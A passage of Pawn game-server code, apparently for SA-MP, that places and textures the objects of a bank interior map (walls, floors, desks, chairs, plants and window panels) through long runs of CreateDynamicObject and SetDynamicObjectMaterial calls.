        AG_Bank2[101] = CreateDynamicObject(19379, 1402.98401, 1324.68579, 1503.62134,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[102] = CreateDynamicObject(19379, 1407.38867, 1324.68384, 1503.61926,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[93] = CreateDynamicObject(19380, 1398.63257, 1315.99915, 1508.82312,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[94] = CreateDynamicObject(19379, 1393.46899, 1313.85913, 1503.62329,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[95] = CreateDynamicObject(19379, 1393.46887, 1320.57825, 1503.62366,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[96] = CreateDynamicObject(19379, 1393.50305, 1329.78992, 1503.62170,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[98] = CreateDynamicObject(19448, 1394.84595, 1315.87280, 1504.16675,   -34.50000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[130] = CreateDynamicObject(19377, 1386.65002, 1314.90857, 1500.00903,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[99], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[100], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[101], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[102], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[93], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[94], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[95], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[96], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[98], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[130], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);

        AG_Bank2[103] = CreateDynamicObject(2678, 1405.78564, 1316.41687, 1501.05896,   0.00000, 0.00000, -90.00000, 26, 63, -1, 200.00);
        AG_Bank2[104] = CreateDynamicObject(2678, 1405.82605, 1315.69226, 1501.05896,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[105] = CreateDynamicObject(2678, 1405.06006, 1316.38354, 1501.05896,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[106] = CreateDynamicObject(2678, 1405.09998, 1315.65894, 1501.05896,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[107] = CreateDynamicObject(2678, 1405.78564, 1316.41687, 1503.50061,   0.00000, 0.00000, -90.00000, 26, 63, -1, 200.00);
        AG_Bank2[90] = CreateDynamicObject(2678, 1405.06006, 1316.38354, 1503.50061,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[91] = CreateDynamicObject(2678, 1405.09998, 1315.65894, 1503.50061,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[92] = CreateDynamicObject(2678, 1405.82605, 1315.69226, 1503.50061,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[103], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[104], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[105], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[106], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[107], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[90], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[91], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[92], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[103], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[104], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[105], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[106], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[107], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[90], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[91], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[92], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[103], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[104], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[105], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[106], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[107], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[90], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[91], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[92], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[103], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[104], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[105], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[106], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[107], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[90], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[91], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[92], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);

        AG_Bank2[108] = CreateDynamicObject(19380, 1407.38867, 1315.89441, 1504.02197,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[109] = CreateDynamicObject(19380, 1403.80127, 1316.00769, 1504.02002,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[108], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[109], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        AG_Bank2[154] = CreateDynamicObject(19448, 1395.68018, 1314.03955, 1502.72510,   -34.50000, 90.00000, 90.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[154], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);


        AG_Bank2[110] = CreateDynamicObject(2229, 1405.19800, 1316.35486, 1503.14160,   -60.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[111] = CreateDynamicObject(2229, 1405.15405, 1316.35291, 1503.64587,   -90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[112] = CreateDynamicObject(2229, 1403.80005, 1316.35486, 1503.64795,   -90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[113] = CreateDynamicObject(2229, 1402.40002, 1316.35486, 1503.64587,   -90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[114] = CreateDynamicObject(2229, 1401.00000, 1316.35486, 1503.64795,   -90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[115] = CreateDynamicObject(2229, 1399.94995, 1316.35291, 1503.64587,   -90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[116] = CreateDynamicObject(2229, 1405.66931, 1315.75842, 1503.14160,   -60.00000, 0.00000, -90.00000, 26, 63, -1, 200.00);
        AG_Bank2[117] = CreateDynamicObject(2229, 1407.18372, 1316.37256, 1503.64587,   -90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[118] = CreateDynamicObject(2229, 1408.55005, 1316.37061, 1503.64795,   -90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[119] = CreateDynamicObject(2229, 1409.90002, 1316.37256, 1503.64587,   -90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[120] = CreateDynamicObject(2229, 1411.30005, 1316.37061, 1503.64795,   -90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[121] = CreateDynamicObject(2229, 1412.69995, 1316.37256, 1503.64587,   -90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[122] = CreateDynamicObject(2229, 1405.74805, 1316.31458, 1503.14160,   -60.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[123] = CreateDynamicObject(2229, 1405.74927, 1316.39087, 1503.64795,   -90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[124] = CreateDynamicObject(2229, 1405.74731, 1317.75000, 1503.64587,   -90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[125] = CreateDynamicObject(2229, 1405.74927, 1319.00000, 1503.64795,   -90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[126] = CreateDynamicObject(2229, 1405.13440, 1315.78467, 1503.14160,   -60.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[127] = CreateDynamicObject(2229, 1405.74854, 1314.36304, 1503.64795,   -90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[128] = CreateDynamicObject(2229, 1405.74890, 1313.04346, 1503.64587,   -90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[129] = CreateDynamicObject(2229, 1405.75085, 1312.00000, 1503.64990,   -90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[289] =CreateDynamicObject(19381, 1407.78735, 1320.18164, 1508.83557,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[290] =CreateDynamicObject(19381, 1403.50000, 1320.17957, 1508.83557,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[291] =CreateDynamicObject(19381, 1407.78735, 1312.68164, 1508.83557,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[292] =CreateDynamicObject(19381, 1402.28735, 1312.67957, 1508.83557,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[110], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[111], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[112], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[113], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[114], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[115], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[116], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[117], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[118], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[119], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[120], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[121], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[122], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[123], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[124], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[125], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[126], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[127], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[128], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[129], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[289], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[290], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[291], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank2[292], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);

        AG_Bank2[131] = CreateDynamicObject(19325, 1397.83984, 1321.96497, 1502.02559,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[132] = CreateDynamicObject(19325, 1394.29175, 1315.86646, 1502.02559,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[131], 0,  -1, "none", "none", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank2[132], 0,  -1, "none", "none", 0xFF9FF5FF);

        AG_Bank2[139] = CreateDynamicObject(19089, 1397.84375, 1318.63489, 1504.28833,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[140] = CreateDynamicObject(19089, 1397.84375, 1323.85596, 1504.28833,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[141] = CreateDynamicObject(19089, 1397.59705, 1315.86560, 1504.28833,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[142] = CreateDynamicObject(19089, 1397.84351, 1318.63013, 1503.52209,   90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[143] = CreateDynamicObject(19089, 1397.84351, 1318.63013, 1500.09875,   90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[144] = CreateDynamicObject(19089, 1397.60461, 1315.86804, 1500.09875,   90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[145] = CreateDynamicObject(19089, 1397.60461, 1315.86804, 1503.52686,   90.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[146] = CreateDynamicObject(19089, 1397.93835, 1315.87024, 1504.15405,   55.50000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[139], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[140], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[141], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[142], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[143], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[144], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[145], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[146], 0, 10226, "sfeship1", "CJ_WOOD5", 0);

        CreateDynamicObject(19325, 1412.60974, 1320.78882, 1501.28259,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(19325, 1412.60669, 1310.53210, 1501.28259,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(19325, 1412.59338, 1315.85974, 1505.95728,   90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);

        AG_Bank2[148] = CreateDynamicObject(968, 1412.63416, 1324.49341, 1500.86975,   0.00000, 90.00000, -90.00000, 26, 63, -1, 200.00);
        AG_Bank2[149] = CreateDynamicObject(968, 1412.63416, 1324.49341, 1501.20581,   0.00000, 90.00000, -90.00000, 26, 63, -1, 200.00);
        AG_Bank2[150] = CreateDynamicObject(968, 1412.63416, 1324.49341, 1501.54175,   0.00000, 90.00000, -90.00000, 26, 63, -1, 200.00);
        AG_Bank2[151] = CreateDynamicObject(968, 1412.64001, 1306.87244, 1500.86975,   0.00000, 90.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[152] = CreateDynamicObject(968, 1412.64001, 1306.87244, 1501.20581,   0.00000, 90.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[153] = CreateDynamicObject(968, 1412.64001, 1306.87244, 1501.54175,   0.00000, 90.00000, 90.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[148], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank2[149], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank2[150], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank2[151], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank2[152], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank2[153], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);

        CreateDynamicObject(2166, 1397.08081, 1328.00000, 1500.08655,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2166, 1397.08081, 1322.37927, 1500.08655,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1714, 1396.09290, 1328.61316, 1500.08862,   0.00000, 0.00000, 24.96000, 26, 63, -1, 200.00);
        CreateDynamicObject(1714, 1396.09241, 1322.87146, 1500.08862,   0.00000, 0.00000, 24.96000, 26, 63, -1, 200.00);
        CreateDynamicObject(1714, 1401.31909, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 26, 63, -1, 200.00);
        CreateDynamicObject(1714, 1403.20508, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 26, 63, -1, 200.00);
        CreateDynamicObject(1714, 1409.60828, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 26, 63, -1, 200.00);
        CreateDynamicObject(1714, 1407.73083, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 26, 63, -1, 200.00);
        CreateDynamicObject(2164, 1396.26099, 1324.76672, 1500.08643,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2161, 1404.46484, 1323.85510, 1500.08643,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2163, 1405.80005, 1323.85510, 1500.08643,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2186, 1392.36316, 1324.45142, 1500.08704,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2164, 1391.93518, 1328.08655, 1500.08643,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2163, 1391.92871, 1326.30945, 1500.08643,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2162, 1391.92871, 1321.50000, 1500.08643,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1808, 1392.10205, 1323.00684, 1500.08728,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);

        CreateDynamicObject(1721, 1397.36389, 1319.75916, 1500.08728,   0.00000, 0.00000, 15.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1721, 1395.88953, 1319.73755, 1500.08728,   0.00000, 0.00000, -15.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1721, 1397.22388, 1325.33923, 1500.08728,   0.00000, 0.00000, 15.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1721, 1395.82947, 1325.41748, 1500.08728,   0.00000, 0.00000, -15.00000, 26, 63, -1, 200.00);

        AG_Bank2[137] = CreateDynamicObject(19373, 1396.93469, 1324.87634, 1500.18811,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[137], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFBCE4FA);

        CreateDynamicObject(2194, 1395.78455, 1321.13220, 1501.12170,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2194, 1395.78345, 1326.69922, 1501.12170,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2194, 1392.17676, 1327.23853, 1501.24304,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(2854, 1405.64832, 1320.77136, 1500.92175,   0.00000, 0.00000, 7.20000, 26, 63, -1, 200.00);

        AG_Bank2[156] = CreateDynamicObject(19373, 1396.18518, 1320.51880, 1500.00476,   0.00000, 90.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[157] = CreateDynamicObject(19373, 1396.18518, 1324.01563, 1500.00684,   0.00000, 90.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[158] = CreateDynamicObject(19373, 1396.18518, 1327.51367, 1500.00476,   0.00000, 90.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[159] = CreateDynamicObject(19378, 1405.14807, 1325.69373, 1500.00598,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[156], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);
        SetDynamicObjectMaterial( AG_Bank2[157], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);
        SetDynamicObjectMaterial( AG_Bank2[158], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);
        SetDynamicObjectMaterial( AG_Bank2[159], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);

        AG_Bank2[160] = CreateDynamicObject(2725, 1404.53479, 1320.82739, 1500.48645,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[161] = CreateDynamicObject(2725, 1405.69995, 1320.82739, 1500.48645,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[160], 0, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank2[161], 0, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank2[160], 1, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank2[161], 1, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank2[160], 2, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank2[161], 2, 1223, "dynsigns", "white64", 0xFF737373);

        AG_Bank2[162] = CreateDynamicObject(2203, 1405.07104, 1320.58838, 1500.24365,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[162], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank2[163] = CreateDynamicObject(14834, 1405.05615, 1320.58911, 1500.12891,   0.00000, 0.00000, -45.54000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[163], 2, 1223, "dynsigns", "white64", 0x00737373);

        AG_Bank2[164] = CreateDynamicObject(630, 1406.33606, 1315.95398, 1501.10229,   0.00000, 0.00000, -42.90000, 26, 63, -1, 200.00);
        AG_Bank2[165] = CreateDynamicObject(630, 1404.50464, 1316.00122, 1501.10229,   0.00000, 0.00000, -144.24001, 26, 63, -1, 200.00);
        AG_Bank2[166] = CreateDynamicObject(631, 1406.14978, 1311.41174, 1500.97607,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[167] = CreateDynamicObject(631, 1399.52966, 1311.48853, 1500.97607,   0.00000, 0.00000, -11.52000, 26, 63, -1, 200.00);
        AG_Bank2[168] = CreateDynamicObject(630, 1392.94385, 1316.80518, 1501.10229,   0.00000, 0.00000, -267.53995);
        SetDynamicObjectMaterial( AG_Bank2[164], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[165], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[166], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[167], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[168], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank2[133] = CreateDynamicObject(19089, 1397.06567, 1321.33374, 1509.6312,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[134] = CreateDynamicObject(19089, 1396.46777, 1510.35718, 1510.35718,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[135] = CreateDynamicObject(19089, 1395.84766, 1321.33374, 1510.10522,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[136] = CreateDynamicObject(19089, 1396.43567, 1321.33374, 1510.35718,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[138] = CreateDynamicObject(19089, 1397.06567, 1326.98840, 1509.6312,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[155] = CreateDynamicObject(19089, 1396.43567, 1326.98840, 1510.35718,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[169] = CreateDynamicObject(19089, 1395.84766, 1326.98840, 1510.10522,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);

        SetDynamicObjectMaterial( AG_Bank2[133], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[134], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[135], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[136], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[138], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[155], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[169], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank2[170] = CreateDynamicObject(2114, 1397.05713, 1326.99194, 1502.3715,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[171] = CreateDynamicObject(2114, 1396.43005, 1326.99194, 1502.84351,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
